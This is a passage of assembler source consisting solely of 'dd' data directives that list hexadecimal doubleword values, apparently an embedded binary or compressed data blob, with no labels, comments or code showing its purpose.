		dd 6616189Eh, 5ECD76D0h, 0FEB70F01h, 14E8118Bh,	0C8CC5D80h
		dd 0CEF4BE5Dh, 75D69700h, 0C59AAE95h, 0C04D1720h, 49AB0343h
		dd 3370800Fh, 20C276CFh, 0BF5F1B60h, 57AC1EF6h,	0EEEAC114h
		dd 983974E8h, 8B12DB6Ch, 6D4205C8h, 65249B3h, 4B11E9F6h
		dd 5F7F3C00h, 0A9EDD437h, 0D12800BEh, 0AF216343h, 935BCE38h
		dd 8B0E3FACh, 602749DEh, 3F03960Fh, 0F973667Ch,	87E88104h
		dd 18BE61E5h, 850F1F48h, 0C60E865Bh, 8F17F8E8h,	89E000E7h
		dd 7A1F3427h, 83069088h, 0BD750EA8h, 5BFB0052h,	479CDE53h
		dd 1F03B16Ah, 0AE80D305h, 8F60C24Dh, 9C51818Ch,	88FE130h
		dd 1C00D447h, 21609A86h, 0B1215067h, 7D859741h,	0A8C71180h
		dd 72CCAB84h, 0E2611CA0h, 118E3030h, 18D08FEAh,	8159EF56h
		dd 8D18CCBBh, 0D1116553h, 797C08DAh, 5100A4D6h,	3AB08806h
		dd 4864849Fh, 6308BC48h, 491AD187h, 0CA40504Ah,	44855A2Eh
		dd 0AEB8D45Ch, 70599D03h, 80D7ECE1h, 3AB232A2h,	290F506Ah
		dd 0A8206395h, 0A122182Dh, 94106C60h, 3AD626D2h, 0A0809268h
		dd 0B08E3D6Bh, 70069C3h, 577C5AA6h, 51C0CD29h, 22F0A48Ch
		dd 634BF026h, 0FC53107Dh, 0BA4A91Eh, 0FDC8DE40h, 2EADCFB9h
		dd 0F93B0F3h, 0BF07AB05h, 946AA10Fh, 0BCCDF804h, 95E53Ch
		dd 0D9BA0CA9h, 74BFE1C5h, 8A9C00D3h, 0B2FFB6D2h, 0F000A6B9h
		dd 0ABAC147h, 7EB4D394h, 0DD7201h, 0C4DCACF2h, 51D8B705h
		dd 0AE0F38A5h, 1DBE0FC3h, 0B3511829h, 0CBBC088Fh, 6AACFF00h
		dd 0B1051496h, 4807A0DEh, 0AB0B68C0h, 9C9F00B3h, 0FFC0DC97h
		dd 0A578BF96h, 0BAE28C01h, 51B89110h, 0EBEB6843h, 0B7F0C1BEh
		dd 8FF839A2h, 18309C04h, 0D6F31057h, 7EF2A915h,	0FC7300C8h
		dd 0DEBA4DB0h, 14BB0121h, 0D297A266h, 83EA0252h, 1E1561FCh
		dd 3E83B118h, 240855A8h, 801CBB6Bh, 705C46F3h, 0FD509BA1h
		dd 0E748692Ch, 18005130h, 88D1B10Ch, 77B9C60Ch,	0D15F0630h
		dd 58475EEFh, 1551A0C4h, 0FD6F743h, 0AFEC4109h,	40B02C6Bh
		dd 619C2B5h, 78A1F74Ch,	416EB1ECh, 0E471D58h, 7E8705F8h
		dd 10BF3043h, 4EA46E0h,	0AFA727CBh, 0AB51A8C1h,	0CC2475E1h
		dd 0F1EE26F5h, 0B1F808Ch, 0A9FDAB6h, 0F20EED18h, 24569C19h
		dd 82E45CEEh, 7D9D39DCh, 2DCAB860h, 4B7425E6h, 0C59D528h
		dd 2479473Ch, 2782FCA7h, 6064BFE5h, 1D14EDB0h, 0A6DD0F1h
		dd 260C0520h, 14539168h, 25807D2h, 0F3A05FD4h, 11649D54h
		dd 0B22D02C6h, 0A877CD25h, 0A510BC8Ch, 0C421B890h, 8049040Ch
		dd 0FF473A1Ch, 29BBF0D4h, 94F8D4A0h, 0B44CE0A1h, 6E215C48h
		dd 443D4824h, 3AFF1B46h, 0B999C1B1h, 0A88C4C78h, 3DE4358Ah
		dd 0DACA0A84h, 907CC921h, 90985A98h, 0B988FBDDh, 7BB8B29Dh
		dd 5183619Bh, 4C2955D4h
		dd 0E0D6BA88h, 11641014h, 984D142Eh, 7CDD4840h,	0EE0A953h
		dd 0C2356C5h, 80855D22h, 0C99683Ah, 81CC6EC2h, 0A85FB28Ch
		dd 6EA80462h, 3588DE53h, 3C84E097h, 4189F408h, 415B1F46h
		dd 0F2313248h, 0C3276048h, 0C828AA48h, 4680A176h, 0C8C997Fh
		dd 8C818728h, 0FD14CB09h, 620C9FD0h, 93E4746h, 5FDB051Fh
		dd 1454A819h, 0D15D8028h, 65850C99h, 6AACD59Ah,	0F566889Ch
		dd 45221808h, 0A08C5548h, 4169EF2h, 0CBAC1175h,	31149079h
		dd 0C48AA9D7h, 95853574h, 23507C61h, 2A524085h,	57652061h
		dd 0A8360E51h, 993AF881h, 0D86314B4h, 937C30D5h, 52DC6558h
		dd 882C6A4Ch, 35C4D7CFh, 18ECD06Fh, 0BC1053C3h,	0C2A309B9h
		dd 7803FF4Eh, 44E4761Bh, 0DC144F2Dh, 300C8322h,	1849F5D7h
		dd 4FAF0FEEh, 7058CA52h, 11F96C4Eh, 80458FBh, 6294B19Ch
		dd 59D1C03Ch, 8D9C0B29h, 3C8EE8A2h, 14619E08h, 0D8A8F2E0h
		dd 2370E03Ch, 88F116Fh,	803955B7h, 98A3F870h, 0E690EFADh
		dd 3E9C7896h, 9A077FC6h, 0C2F2A8B3h, 148351AEh,	94E19BEAh
		dd 112470E1h, 3B0E1E03h, 138CBC51h, 2C4B9998h, 0A550C6B0h
		dd 0C944BBF4h, 0BA611E10h, 22088EA4h, 600AA0C9h, 9E3D04ACh
		dd 3C070263h, 2A50074Ch, 87424E5h, 0DE8297B1h, 9E9AEC68h
		dd 492B2320h, 9D041026h, 98905552h, 0AFA71h, 6C10DAC8h
		dd 6BE0D26Eh, 2101D7E9h, 0EC0AF297h, 67D44052h,	3DAE4E8h
		dd 0DD25705Dh, 0E0406E2Bh, 5142884h, 0A0E8832Fh, 7F2956DFh
		dd 2BB0023h, 9EC98736h,	3E002B75h, 0C35AA7D4h, 19D09B42h
		dd 79615397h, 0CA8C005h, 387B5600h, 9BB06E0h, 86D5097Fh
		dd 0E803C37Ch, 0E8489861h, 84A6091Ch, 677CA04Bh, 3FA14C7h
		dd 0A075D6D0h, 830AEC8h, 0BF8C2161h, 7AB90014h,	68C3389Fh
		dd 530460FEh, 2A22F512h, 0F309F8E2h, 1C2029E6h,	0DC79189Bh
		dd 0AB04A099h, 0D4906FCFh, 3F1AD24h, 5BE1B7FEh,	0D3904E10h
		dd 6018CA97h, 98794A1Fh, 73D90C5h, 2CB30EF3h, 2701CFB2h
		dd 98565218h, 0DC09D1F9h, 60987C73h, 7E4F1162h,	0C23871FFh
		dd 18DF0046h, 0F801E66Fh, 0FD50163h, 0C43A27B8h, 39E051DCh
		dd 89A98EAFh, 8621A0D0h, 35548A9h, 0EB9DF2C5h, 0B6DBDFE4h
		dd 0DCC9F5C8h, 0BC979C18h, 793F90h, 0D0010282h,	0F39FF688h
		dd 4BC0951Eh, 0A041DC1Dh, 7319E6F5h, 0E5068C43h, 2FEED480h
		dd 8A88A86Dh, 0A25F0CABh, 0EB38A5F3h, 218241CCh, 5FA301ACh
		dd 7B79145Eh, 27408245h, 8F6CFFD5h, 1C5400BCh, 4F3A2A26h
		dd 110C30A1h, 0F0B7ADEDh, 0ECD3542Bh, 2260B8D2h, 2F307725h
		dd 0D3F9317Eh, 96B20091h, 21F3FD78h, 4503E73Ah,	0F73F940Ch
		dd 0AA32D0F4h, 0B4A453h, 93F93956h, 5DAEEB8Ah, 0C143AF00h
		dd 0F81B9870h, 25B000B9h, 4E558E8Ch, 4A00C2BFh,	2BAE52Ah
		dd 30794DB1h, 0C7B1A2DEh, 746367DCh, 0A63ABAD0h, 790D0019h
		dd 5F1127EEh, 96007889h, 200B0C07h, 0DCB26Bh, 7586D153h
		dd 6F31E27h, 40918E76h,	0ED569420h, 5FAA02B4h, 319DF3A1h
		dd 0A2AB1085h, 379FA5Fh, 0B7D24C65h, 1FF32263h,	9144D08Ch
		dd 8E35CCABh, 78043053h, 0F4005C31h, 199028ADh,	3BAD80Eh
		dd 22FC958Bh, 0A248435Eh, 32C13083h, 0FDD11209h, 3ABC0192h
		dd 9C49D779h, 400FD020h, 0DE779372h, 4706860h, 26CEA717h
		dd 320C8B2h, 67E784EBh,	39BC880Dh, 0A1D841A0h, 25AC142Dh
		dd 1D2AD49Ch, 21B060D8h, 752D99DEh, 0D0A15C90h,	0CF8081Eh
		dd 0A99ADCC5h, 566084D8h, 7A45919h, 0C270083h, 5C7F296Bh
		dd 0C130CAF4h, 0C943C09Bh, 72595CDAh, 6D034849h, 964D29DCh
		dd 40AF1001h, 0CA34A484h, 7DCC46Ch, 71056B71h, 8EFE30F5h
		dd 477A72D9h, 0CBD2257Eh, 0F7848067h, 0B0F8F5EEh, 0D2AB26B4h
		dd 60D0473Ch, 0A215F48Ah, 8E642500h, 69125B60h,	48071522h
		dd 429D8CBBh, 9425AB2Dh, 0DD10B331h, 4092D98h, 22DFD2F3h
		dd 8052820Ch, 892C8334h, 1206F8A9h, 9085A239h, 0DE705634h
		dd 0F1330A00h, 8238FFA4h, 8D070035h, 4C258FF8h,	5113DA8Eh
		dd 0D82076C1h, 54F531DCh, 3BE5907Dh, 0BB800ED8h, 8E7C1DAAh
		dd 0BA2C244Ch, 9A11589Fh, 0C50AF780h, 6B43F8DAh, 0EF94887Dh
		dd 39F40A00h, 1966A244h, 0A9516086h, 0B3C47974h, 0CD425B04h
		dd 34C0A7A9h, 4DAFE4A5h, 0A5B3C82h, 0C09CBA44h,	25AA2D9Fh
		dd 0B2228C46h, 2D97DC06h, 851FA9Ch, 788BD525h, 147D20Fh
		dd 0B075A7Dh, 927C64h, 1C819FD0h, 39DF101Eh, 661BAC02h
		dd 7479A7A2h, 0B4A02DBEh, 0E3E7278Ch, 0BA5DE200h, 0A3B72962h
		dd 58ACF034h, 0DC0230FDh, 0B33DD38Fh, 9804004Ah, 0AF66099h
		dd 0F0DA23C4h, 93006511h, 50A90AEEh, 0EB1DAE6Dh, 0AA05BB2Ah
		dd 98882160h, 30C2783Fh, 7A114E1Dh, 0A094EB1Fh,	62293A09h
		dd 92E043E8h, 0B0F50754h, 344A3F5Bh, 53930808h,	1E5A805Eh
		dd 0A87E33E7h, 8A075971h, 0AA1A032Ah, 987A8FD3h, 0F0EF0DE4h
		dd 9460C09Eh, 0B327D391h, 0B910CA61h, 42F6EC6Ch, 282C8014h
		dd 0C8D1CE42h, 0F4C097F8h, 46DAC20Ah, 6922E0h, 1C0AEC91h
		dd 0AC78A449h, 4C26601Ah, 0E27C40E1h, 1F471A39h, 449D796Bh
		dd 0D8806511h, 0ABDD27A2h, 0C48C40F9h, 596085B1h, 80C73269h
		dd 73A25C93h, 94FECA02h, 2CE019D0h, 104C8C82h, 7A791080h
		dd 0EFD4FD03h, 9001D7A7h, 0CF0E1DB7h, 0C649C49h, 0AF048CF2h
		dd 0C5F3A65Fh, 0B000C4CEh, 5A7F5FA7h, 180141F0h, 6A5BB82Bh
		dd 0A9083B12h, 0AB782E1Dh, 8AFFD203h, 0E47804C0h, 88F856EDh
		dd 0B16F3AB8h, 0BFBB4031h, 38E240h, 0BC59BD34h,	1084971Eh
		dd 2EF65301h, 0FBB482CEh, 0C0DD79E8h, 992F5141h, 0F5009B1Fh
		dd 0EFA33A46h, 721BEBADh, 0B0C802D1h, 0C481E529h, 0D279A082h
		dd 0EC822054h, 0C8C71FD0h, 4C85AB64h, 8A80E44Fh, 0B5E8E0Ah
		dd 496779B8h, 45F0C819h, 128A3226h, 8BB28050h, 0C95E881Ch
		dd 0CCEAEF02h, 0F8008066h, 2556F6D2h, 2EE2CA3h,	533C6809h
		dd 8A43F01Eh, 0ECD008C5h, 54B0A9C5h, 44D0AC95h,	0A101AA80h
		dd 0B31D1A5Fh, 0DCDC351Ch, 0F057275Ch, 92D21CA0h, 8B27AB71h
		dd 112031BDh, 5D0E1270h, 9C001C06h, 0EFA183BBh,	0A342AD2h
		dd 0B4C3F1ACh, 0E13EC6Fh, 470ED30h, 0A9C51B9Bh,	8B7920ACh
		dd 0BD97B3C8h, 84200953h, 8264F48Eh, 0A430BFA4h, 25AF112Dh
		dd 87B588B4h, 402D9CE1h, 4D78395Eh, 9BD15826h, 0DCD8E739h
		dd 0C09C7DD2h, 31EFD018h, 5C19B6F6h, 0EC6D30h, 42331C34h
		dd 1F47722h, 5D95FD1Ah,	2B2F1FD3h, 5AB01000h, 65CE5FCh
		dd 231C905h, 0B10580FFh, 8643D4CDh, 59DCD8D0h, 7093603Dh
		dd 7784CBA6h, 0DD00D279h, 11EB66A0h, 1213734h, 0B1381DC6h
		dd 709B882Ah, 4A416ED8h, 12E030F0h, 0B2ABEF29h,	11741684h
		dd 48DF8B1Ch, 6F362AC3h, 0C7D4E875h, 3DAD0053h,	55F3DCFDh
		dd 0EC3556BBh, 34803954h, 0BB7CA1Ah, 3A90785Bh,	67067048h
		dd 44F27A00h, 14D296F4h, 0B32F0083h, 0A76F331Dh, 0EA0085D5h
		dd 2DC8A63Eh, 80F253h, 0C964DBA8h, 473A7A65h, 21616913h
		dd 0F7784C20h, 0F0A44D22h, 0BD69CB30h, 8312A194h, 0E0083F08h
		dd 908597ACh, 0C34241C4h, 0AA34D100h, 1F4015A2h, 60867732h
		dd 0CD2F2069h, 0C005FF6h, 0C5E25B0Dh, 3D8E061Ah, 9D00EBD3h
		dd 4340040Ah, 44396D5Dh, 0FC718F35h, 45B58152h,	0FBE06B08h
		dd 79670037h, 756C4E63h, 6D0A41F5h, 140EF682h, 56E04951h
		dd 5730C778h, 20980A6Ch
		dd 303860B9h, 7D5334F4h, 6E0E4400h, 939D356Fh, 12FF1971h
		dd 0DC41905Eh, 18DD3281h, 6BBCFB18h, 6320CE01h,	286D4286h
		dd 800E3674h, 9E5738F8h, 815D11C6h, 75561878h, 7F73148h
		dd 5D595760h, 0A411F377h, 8448EB0Ch, 6F720342h,	825A3A44h
		dd 88801182h, 76533BF7h, 22A014A3h, 0AD1E1D45h,	0A0060C70h
		dd 1491021h, 4FFA8F4Bh,	80620EF8h, 0C117A931h, 7979512h
		dd 0E6696CCBh, 0A0E2F02Eh, 0D6008DAEh, 0B905C4E3h, 3DA2946Bh
		dd 5E871869h, 0C00C732Ch, 19399DD2h, 0C31C6A01h, 0A820A0B2h
		dd 34CB7180h, 8FFACF84h, 0B8056A40h, 1895E85Dh,	280764E7h
		dd 0C5748A56h, 968E6E1Eh, 8FEB32E0h, 1884E3A1h,	0C31D439Ch
		dd 0C6821A4h, 3167EB0Ch, 0E7BC1928h, 8F891805h,	110F8D59h
		dd 1EA2D010h, 402AA37Ah, 0A8FE8340h, 0E830848Ch, 668F31F3h
		dd 8CDC7A59h, 790FB581h, 31D963F1h, 5900B4EBh, 3B02C81Eh
		dd 30F29796h, 112065AFh, 2014F8AEh, 23D069A0h, 0C40F1038h
		dd 0A4606EF2h, 0B2311CEFh, 6DEC30AAh, 0C864B986h, 87026915h
		dd 0FDCBBE47h, 99A4A60Eh, 0E94D0AF1h, 18DC953Bh, 74E2F19Ch
		dd 0CC0F3F18h, 65B17B30h, 4AA21808h, 0A058914Ch, 9C902284h
		dd 7117A809h, 91806B5h,	1B477AB9h, 302178B9h, 95032FF1h
		dd 144C0718h, 4458DFE4h, 91C199E8h, 3E6B8CD6h, 39BE2821h
		dd 0C8215105h, 83A4219Bh, 0FDC90A62h, 0B8C47436h, 602C9659h
		dd 0E2B34284h, 8837189Ah, 2E50C88Ch, 882BAB44h,	4684F2Bh
		dd 8562F87Eh, 0E39F3D10h, 14E65751h, 13233742h,	85368B50h
		dd 0E39F1110h, 85664750h, 0A39E1C10h, 505C0751h, 9B468419h
		dd 183707A1h, 5C644CEBh, 216C2192h, 8C881411h, 62F7208Dh
		dd 0CC42510Ch, 1B8F2108h, 616B7CE6h, 20844050h,	4BAF10A0h
		dd 0A2661C0Dh, 0C08589Eh, 787C9828h, 800C81C6h,	6DDA9991h
		dd 0A862DE8Dh, 4DA38E08h, 90848C63h, 0AAD0CC9Ah, 74E69528h
		dd 0F134C450h, 3B1BBC99h, 0D49CE051h, 9E9031FAh, 0DD923C11h
		dd 7AA0483Fh, 0F0A698ACh, 0A4C949DEh, 0FE010C4h, 70935944h
		dd 1E76BEC4h, 0D51C0C22h, 0E211A1F1h, 0DF892200h, 8D78B38Eh
		dd 0CDBE003Bh, 0D0D6D964h, 0CC7D3F6Fh, 251F900Ch, 3F4C487Ah
		dd 0E4848F37h, 1743DE1h, 787D3F11h, 21AD2093h, 80F9B5ACh
		dd 0ED034A89h, 0F6A06Ah, 0D1C19099h, 0BE82744Bh, 8F5CC605h
		dd 81015001h, 0E1DEA0AAh, 7AF1CE8h, 15B0EC88h, 0B4E21053h
		dd 0BC03D0FDh, 6D478F12h, 18706F72h, 62F529E3h,	0F03C54F0h
		dd 6C030426h, 0F9E0C113h, 7FAB00B6h, 94107355h,	0EF078CCh
		dd 4F8842Ch, 21F01C00h,	1B975B1h, 44EDA583h, 0D03752ADh
		dd 1C389BBBh, 9E1292E0h, 0F4E66002h, 3CA8C102h,	9B2D8888h
		dd 69183203h, 787499h, 0BEEF9ACh, 72AE0DC5h, 89D93700h
		dd 9ED1655Fh, 0DE41075Ah, 40335CF8h, 19425D8Fh,	3183A300h
		dd 24B6EBF5h, 0AB933ED4h, 569ECE00h, 7290CC65h,	9D1B4107h
		dd 0F8832C53h, 61D7A355h, 365D1128h, 3071F0CFh,	548AD20Fh
		dd 569D0065h, 0F38F1B31h, 5CF0DBE1h, 93D31E41h,	9ED80F61h
		dd 8FCD2E00h, 480A775Eh, 4C50C19h, 0A400DCD7h, 0DA3061A9h
		dd 1477608Ah, 186FA0CEh, 0FBB6D3B0h, 0F01187Ch,	5311B77Eh
		dd 4FCCB1FEh, 0CF0F6A4h, 9DF78EC6h, 76076B18h, 0F5FF041Fh
		dd 0F882BC0h, 7748C0C4h, 1F2C1E8h, 0ADCF3Ch, 6376153Bh
		dd 0F8EF06D4h, 0DC70078h, 7F561D59h, 0C6260C17h, 0DA004E48h
		dd 0CA78B837h, 0E02000FCh, 6A7340F1h, 0F200EAC3h, 8A472DD0h
		dd 1848097Dh, 1877AA63h, 0B1305076h, 404970D5h,	0C1C2E07Eh
		dd 5418D281h, 2BD98345h, 0A70B86FDh, 0F84C9087h, 0C0656E59h
		dd 477CE36Ah, 0F21F37C1h, 0F03C1575h, 0E2383E4Eh, 75D807F8h
		dd 7C614AEBh, 0D3101E68h, 0C038C428h, 4B6673C0h, 681F5F8h
		dd 86B6466Ch, 7D1040FCh, 9C411A55h, 0F301509Dh,	317C6078h
		dd 41A40D15h, 0A6A0C18Ch, 601E0585h, 954A2D81h,	0ADFCA110h
		dd 0B0C58C50h, 574B026Dh, 0C3D2F073h, 3BDA0C48h, 39560700h
		dd 1BBE1AB2h, 1118326Bh, 48861089h, 444948C6h, 15CCC928h
		dd 91CE664h, 8266FE00h,	0F2010BEAh, 0FDB2002Bh,	643EA4F9h
		dd 5A0090ACh, 61891B42h, 3C9EE036h, 8E2C3872h, 80DAC578h
		dd 8ACE3350h, 0F8F854B0h, 0AC16CF1Dh, 0DF365600h, 14589D93h
		dd 44AFE6F7h, 0E75E67C0h, 44B8AA35h, 0F047056h,	8ADA1FD6h
		dd 8680CA3h, 0DC2CC103h, 0B4AE490h, 0EAB86730h,	0C2124708h
		dd 0E21318FCh, 0A0140E45h, 4CE412E9h, 4C7CCC49h, 8A68E10h
		dd 4C025045h, 6E30B6E8h, 297D5998h, 48D24410h, 23429E26h
		dd 203E0823h, 4C11E155h, 6DFC027Eh, 4BEDF09Ch, 150C6E52h
		dd 908C65CFh, 92B80650h, 0A418ACB9h, 9FA64A4h, 91FC48FDh
		dd 6EFE22FFh, 9196101h,	0F21999F3h, 0F412F509h,	0F648F724h
		dd 0F822F991h, 89EAEB44h, 0E0EC13EDh, 2AB1DF4h,	0B121BCBEh
		dd 0F491CFC0h, 11B894D2h, 9701B284h, 52045904h,	0BC80A408h
		dd 48CE94B8h, 0C4124C1Dh, 80F518CFh, 0EA0AEF6Bh, 0BD2001Fh
		dd 9489FBCFh, 9B1DFA3Ch, 731D4412h, 6B1E4C1Eh, 0A44032h
		dd 0C5F4D16Fh, 7DDCB40h, 3A0BF21Fh, 6E5A82FAh, 0FA5F4853h
		dd 56FD041Fh, 88CCD14Ah, 0AD150264h, 0A31FBFA9h, 94998E2Fh
		dd 8602AB38h, 0BBA8CD30h, 0CC3F9B20h, 9A164BEh,	423851A0h
		dd 0ACABFE04h, 0E4AD0191h, 0CDCC036Dh, 7F71F0F1h, 21211862h
		dd 0C0389550h, 0A02D8882h, 6D3C0507h, 0A4C3598Dh, 187A0Fh
		dd 0E4C952A9h, 6BEF400Ah, 0DA1CF650h, 7302C870h, 0ABB241CEh
		dd 0F72891D1h, 26E49C7Ah, 0D1ACBF18h, 60FED341h, 0BC84D0EAh
		dd 1507D2C2h, 77A1DDB2h, 0C5B7A480h, 568800B9h,	0BEADAC37h
		dd 8F00D924h, 0AFCD3054h, 0CA920Bh, 0DE417293h,	0D13356BDh
		dd 30708703h, 0E0C118BAh, 3A5F9EDAh, 8501DE22h,	0D293DC2Ch
		dd 0C0A7FBC5h, 5A9CDA17h, 8A403F61h, 5EF0CF42h,	92D6148Ch
		dd 39F405Ch, 8DD23F61h,	0AD4884C0h, 0DE3C39F8h,	6030539Ch
		dd 6089D498h, 0E41CA630h, 6F8A20DBh, 36D11803h,	0A2619CD9h
		dd 0FB6098D7h, 0E5ECAF18h, 0A420FA8Ah, 0E8CB0A82h, 2CCC573Ch
		dd 0A4F15D2Fh, 9FE2C300h, 5797CD77h, 0D90A2C60h, 7C4569Eh
		dd 0C073A09Dh, 0A47767B5h, 0E388953h, 60296819h, 0D839B4B5h
		dd 5772748Eh, 404714A7h, 0B4A4C500h, 84C0299Dh,	0DA235C1Dh
		dd 0CD366705h, 0DD37F809h, 0CA81F504h, 0BEC0BA9Ch, 0B3AF226Ah
		dd 0B81F13EAh, 1F00BFA9h, 0C242679Eh, 305F139Dh, 293407D6h
		dd 0AEC9DFh, 1E0F608Fh,	0CD700B01h, 0A19824B4h,	113E5C03h
		dd 0E13167DDh, 40308587h, 2883F19Dh, 0A742AF18h, 4020CDC4h
		dd 336FB56Ch, 0ECA2D224h, 55B4CC09h, 0DF0C5818h, 0F4919D69h
		dd 24745D04h, 30BD82h, 0AB9CD837h, 8C25CB20h, 59985672h
		dd 1B58209Eh, 2C618D0Bh, 775400D1h, 9857A8E8h, 569D1ED0h
		dd 728B0679h, 6026403Ah, 0AB00C040h, 5F8FD341h,	89C31D65h
		dd 24E01E86h, 0EBF5008Ch, 87D6316Ah, 0CC2C5D16h, 0CF247004h
		dd 0CD6EFCC0h, 0A05B48F8h, 415A8B07h, 2D5F83CCh, 2C556012h
		dd 0E058AC1Bh, 95305E87h, 40C1D858h, 0CE3682F8h, 0C8BC6AD1h
		dd 0AD4A543Ch, 89CC17D4h, 0A09894F8h, 59956087h, 94FAF7D0h
		dd 0CB361EF8h, 67651793h, 0C33F10D4h, 60B3AB8Ch, 180ECA1Eh
		dd 6556E7DAh, 4E61A3C2h, 0B07195B8h, 1CC052E4h,	0E8415C8Bh
		dd 0FE8908Ah, 3C71F8D9h
		dd 8E579089h, 7C1796A4h, 19C970FDh, 607F0CEDh, 7093AD82h
		dd 0B616C4B2h, 0B40BE037h, 65E43830h, 160C9BDDh, 5E980223h
		dd 0DCC1DF35h, 0D843D230h, 86C0DCA3h, 0C4B1DE42h, 650C1C24h
		dd 58CD09DBh, 0E452C489h, 4250CC8Ch, 0CB0BC0B2h, 815F87F7h
		dd 405CB720h, 0DF561030h, 0E361E69h, 0CC8B578Eh, 60892090h
		dd 3CA42CA5h, 569F013Eh, 618FCF42h, 0D6983430h,	70200058h
		dd 8688D636h, 9DB099F9h, 184DBE80h, 5F3E5020h, 0AE0C6F08h
		dd 0CAA729C0h, 84B61667h, 3D85014Fh, 140E18DFh,	0E8189E1Fh
		dd 0C88858B0h, 85B3CF01h, 689CD930h, 2200FA50h,	4053BDDEh
		dd 0D8B08CCFh, 64A8D92Eh, 30578781h, 405593E0h,	5044F8B3h
		dd 0B8841DABh, 0CA9005A7h, 0A220D19Eh, 0F0B42E53h, 0EC34F30h
		dd 5A82DC44h, 3C79D936h, 0FBD49827h, 0B41E8B1h,	2C858ABEh
		dd 385D8081h, 1F5FE0DEh, 5A9EDA02h, 0E084DD24h,	74A8BB90h
		dd 82BF7CBAh, 2DE950C3h, 0DF2180D2h, 0DA335FA0h, 4F2CE88Dh
		dd 935049D8h, 1818C86Ch, 0C06835BDh, 0E0B75C92h, 52802428h
		dd 0D1EC3461h, 5F17EC96h, 340B50DDh, 9DD839E0h,	0B3E090BEh
		dd 0A08CD924h, 76B01BF0h, 0E87BBBh, 9ED83361h, 87D33EABh
		dd 839421C0h, 748FCD41h, 0C8D25170h, 96E8B12Eh,	0E0C8DC90h
		dd 10164E0Bh, 10D43880h, 6BD3EBFh, 0C09CCD24h, 615AF8E8h
		dd 15CA2832h, 33CED0B2h, 0DC801C90h, 5A3090D1h,	3D6E2039h
		dd 729E1DCFh, 5C870432h, 77B8E137h, 0C4C52AE0h,	52E8923Ch
		dd 65C9138Ch, 1F2FF898h, 1B6F8AD2h, 8814D8B8h, 74DC609Dh
		dd 0D992AB12h, 84405C19h, 13D483E0h, 1E3A7089h,	80151404h
		dd 0DE427200h, 0DD58F9C4h, 5041B0A1h, 8AD365F0h, 0BB365517h
		dd 0C377DCCCh, 0DE655E28h, 51CCE920h, 5805D842h, 54D1DC32h
		dd 0AD820C68h, 0C22D3330h, 0DBD418C4h, 395B2488h, 0F4721444h
		dd 3D6499D2h, 204024F0h, 90300727h, 9ED21FC0h, 0CDDAF85Fh
		dd 1C018E8h, 7A93D9F0h,	0B4FEB48Bh, 4155B480h, 0DC8F4CD0h
		dd 5AC1A700h, 7918DE37h, 65E11101h, 0F2805642h,	669034h
		dd 0FEEA504Eh, 4B7E4CF5h, 0BB53A93Bh, 1A240FE7h, 3ADA80FFh
		dd 89018h, 0CF01EACAh, 52FAA448h, 9E878618h, 601830h, 78BDB85Ch
		dd 0FDB8305h, 766860C3h, 948B6C0h, 1C0665D8h, 401C007Dh
		dd 186DA32Ah, 20162C4Eh, 114CCC5h, 0F12022BCh, 92181737h
		dd 79B34900h, 531F0B86h, 0F9D9C0EDh, 67A9126Dh,	0FC715F06h
		dd 5408CF6Fh, 0FB39802h, 1A941265h, 9785DA21h, 81C8BDA1h
		dd 0C2FB2B4Bh, 0AC57D2D3h, 6D2DA6A0h, 0CCCF064Ch, 8BF440Fh
		dd 8F216A60h, 562DAEh, 4FCADF1Fh, 55D38379h, 6748DA01h
		dd 0FEF5A426h, 46A8A456h, 12630215h, 31CF67A3h,	0D92180F6h
		dd 47B412BBh, 0F9E467h,	3844491Dh, 0E4D5301Ah, 0F134A0A1h
		dd 0E7CF01FEh, 0CBD2D441h, 15819D13h, 0FDD892ACh, 77FC47EEh
		dd 0EEF7217Bh, 0A4A2E0F2h, 201CC056h, 89606902h, 598007Dh
		dd 2CFFF4Ch, 1D683D49h,	0A8A00452h, 66CBFB0Fh, 0E8D93917h
		dd 0B855B807h, 7B757DE0h, 4AA500BAh, 7EC741FBh,	88A4F170h
		dd 7091E934h, 750A2CE8h, 40C4FA33h, 0CCC368FCh,	5B7C3D02h
		dd 41EA5762h, 45CE405Ch, 0BBFD001Ch, 43587422h,	20CB1C9h
		dd 4F1E5A18h, 0BB203A38h, 6C808C94h, 0FC975A2Eh, 2CC600F5h
		dd 254563B5h, 0D812FA3Ch, 43FBF6B9h, 0FCADBCD8h, 0C0E83900h
		dd 0AC721D50h, 7BD133AFh, 2100E409h, 8850A908h,	0ECAF5B9h
		dd 654454F1h, 0FC73F803h, 0CBD3B118h, 70AE7B9h,	0A65D280Fh
		dd 4F62C252h, 7A2F8880h, 0F7010211h, 0C5595873h, 0C710AAh
		dd 3C1BAC41h, 1F217AB6h, 918AED0Eh, 21A88C1Ch, 3C1300D2h
		dd 0E1608451h, 0DE0563F7h, 0D7FCB88Ah, 8FA86407h, 12F04C83h
		dd 40FF6011h, 23859200h, 0A700DA9Dh, 0C1EFD3C8h, 2729A5Bh
		dd 3BB8EA13h, 0D4BD246Ch, 0D41DD388h, 2F007147h, 56EAF985h
		dd 0B9C6FD7Dh, 69F811h,	263C127Ah, 0CD0249A6h, 0A35B6012h
		dd 141C5900h, 0C0D16A5Ch, 229B78B8h, 0F10F1ACFh, 315698h
		dd 0CA06D0F5h, 0AE6213A7h, 4994005Bh, 0BA2F809Eh, 0F76538h
		dd 0C95AABB9h, 0A99303h, 265BC47Ch, 9D8E1CDFh, 38C55603h
		dd 0E0122453h, 0E8C87460h, 647C00F7h, 331CEABCh, 500ECDDFh
		dd 8CCB2743h, 4C6D2162h, 5300D0B4h, 524D04F0h, 0F60089C4h
		dd 3B962A4Ah, 0C1AFE4B5h, 0AED7A271h, 23B887F5h, 0C310E970h
		dd 0C05101B6h, 1F5CF720h, 0CB0354A8h, 0D3AB070Fh, 59083287h
		dd 60001721h, 0FB86C3h,	0D496515Dh, 0A4B4BD8Fh,	92BC2206h
		dd 7870F6F0h, 7516002Bh, 551DD001h, 5950A6F2h, 4E44788Ch
		dd 0E8B30007h, 0E956EB34h, 180A7CACh, 0AC2166F2h, 608C3D39h
		dd 562ECB78h, 6EB0A0BEh, 0D46A3D14h, 0F87D00FEh, 6D151C0h
		dd 0C0A8C4C2h, 7429657Bh, 9BE220B8h, 4BEA31CFh,	0C060C884h
		dd 66DEC95Fh, 0C1589360h, 508C25A9h, 0C4CC68h, 249157FBh
		dd 0C83075E2h, 86DDA32h, 0A090AFF2h, 0FE779160h, 0AEB81471h
		dd 3005A0B3h, 7616C6Eh,	0A0D6ED90h, 79569959h, 0E49B422Ah
		dd 88EBAC00h, 218A0D20h, 9DAF009Ah, 32D10649h, 0C7004F44h
